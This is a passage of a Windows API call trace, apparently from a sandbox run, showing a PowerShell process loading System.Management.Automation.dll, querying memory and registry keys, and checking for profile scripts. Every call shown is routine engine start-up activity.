lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.932] GetLastError () returned 0xcb [0052.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.932] GetLastError () returned 0xcb [0052.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.932] GetLastError () returned 0xcb [0052.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d744, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.944] GetLastError () returned 0xcb [0052.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.944] GetLastError () returned 0xcb [0052.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.944] GetLastError () returned 0xcb [0052.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d744, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.944] GetLastError () returned 0xcb [0052.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.944] GetLastError () returned 0xcb [0052.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.944] GetLastError () returned 0xcb [0052.944] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.945] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.945] GetLastError () returned 0xcb [0052.949] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.962] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.962] GetLastError () returned 0xcb [0052.963] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.963] GetLastError () returned 0xcb [0052.965] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.965] GetLastError () returned 0xcb [0052.968] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.968] GetLastError () returned 0xcb [0052.974] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.974] GetLastError () returned 0xcb [0052.981] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.982] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0053.086] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0053.096] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0053.096] GetLastError () returned 0xcb [0053.804] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x2cee70 [0053.805] GetLastError () returned 0x0 [0053.805] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x2ceef8 [0053.806] GetLastError () returned 0x0 [0054.023] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.045] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.045] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.046] VirtualQuery (in: lpAddress=0x27c324, lpBuffer=0x27d324, dwLength=0x1c | out: lpBuffer=0x27d324*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.100] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.101] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.102] VirtualQuery (in: lpAddress=0x27cc70, lpBuffer=0x27dc70, dwLength=0x1c | out: lpBuffer=0x27dc70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da6c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.116] GetLastError () returned 0xcb [0054.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.116] GetLastError () returned 0xcb [0054.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.116] GetLastError () returned 0xcb [0054.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.116] GetLastError () returned 0xcb [0054.122] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da6c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.122] GetLastError () returned 0xcb [0054.122] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.122] GetLastError () returned 0xcb [0054.122] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.122] GetLastError () returned 0xcb [0054.122] VirtualQuery (in: lpAddress=0x27cf98, lpBuffer=0x27df98, dwLength=0x1c | out: lpBuffer=0x27df98*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.123] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da6c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.123] GetLastError () returned 0xcb [0054.123] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.123] GetLastError () returned 0xcb [0054.123] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27da1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.123] GetLastError () returned 0xcb [0054.123] VirtualQuery (in: lpAddress=0x27cf90, lpBuffer=0x27df90, dwLength=0x1c | out: lpBuffer=0x27df90*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.123] VirtualQuery (in: lpAddress=0x27cc44, lpBuffer=0x27dc44, dwLength=0x1c | out: lpBuffer=0x27dc44*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.123] VirtualQuery (in: lpAddress=0x27cc44, lpBuffer=0x27dc44, dwLength=0x1c | out: lpBuffer=0x27dc44*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.124] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e6cc | out: phkResult=0x27e6cc*=0x390) returned 0x0 [0054.124] RegQueryValueExW (in: hKey=0x390, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e714, lpData=0x0, lpcbData=0x27e710*=0x0 | out: lpType=0x27e714*=0x1, lpData=0x0, lpcbData=0x27e710*=0x56) returned 0x0 [0054.124] RegQueryValueExW (in: hKey=0x390, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e714, lpData=0x2d1db8, lpcbData=0x27e710*=0x56 | out: lpType=0x27e714*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e710*=0x56) returned 0x0 [0054.124] RegCloseKey (hKey=0x390) returned 0x0 [0054.124] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e6cc | out: phkResult=0x27e6cc*=0x390) returned 0x0 [0054.125] RegQueryValueExW (in: hKey=0x390, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e714, lpData=0x0, lpcbData=0x27e710*=0x0 | out: lpType=0x27e714*=0x1, lpData=0x0, lpcbData=0x27e710*=0x56) returned 0x0 [0054.125] RegQueryValueExW (in: hKey=0x390, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e714, lpData=0x2d1db8, lpcbData=0x27e710*=0x56 | out: lpType=0x27e714*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e710*=0x56) returned 0x0 [0054.125] RegCloseKey (hKey=0x390) returned 0x0 [0054.125] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2d1db8 | out: pszPath="C:\\Users\\kFT6uTQW\\Documents") returned 0x0 [0054.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents", lpFilePart=0x0) returned 0x1b [0054.125] GetLastError () returned 0x3f0 [0054.125] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2d1db8 | out: pszPath="C:\\Users\\kFT6uTQW\\Documents") returned 0x0 [0054.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents", lpFilePart=0x0) returned 0x1b [0054.125] GetLastError () returned 0x3f0 [0054.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0054.126] GetLastError () returned 0x3f0 [0054.126] SetErrorMode (uMode=0x1) returned 0x1 [0054.126] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x27e77c | out: lpFileInformation=0x27e77c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.126] GetLastError () returned 0x2 [0054.126] SetErrorMode (uMode=0x1) returned 0x1 [0054.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0054.126] GetLastError () returned 0x2 [0054.126] SetErrorMode (uMode=0x1) returned 0x1 [0054.126] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x27e77c | out: lpFileInformation=0x27e77c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.127] GetLastError () returned 0x2 [0054.127] SetErrorMode (uMode=0x1) returned 0x1 [0054.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x39 [0054.127] GetLastError () returned 0x2 [0054.127] SetErrorMode (uMode=0x1) returned 0x1 [0054.127] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\kft6utqw\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x27e77c | out: lpFileInformation=0x27e77c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.127] GetLastError () returned 0x3 [0054.127] SetErrorMode (uMode=0x1) returned 0x1 [0054.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: 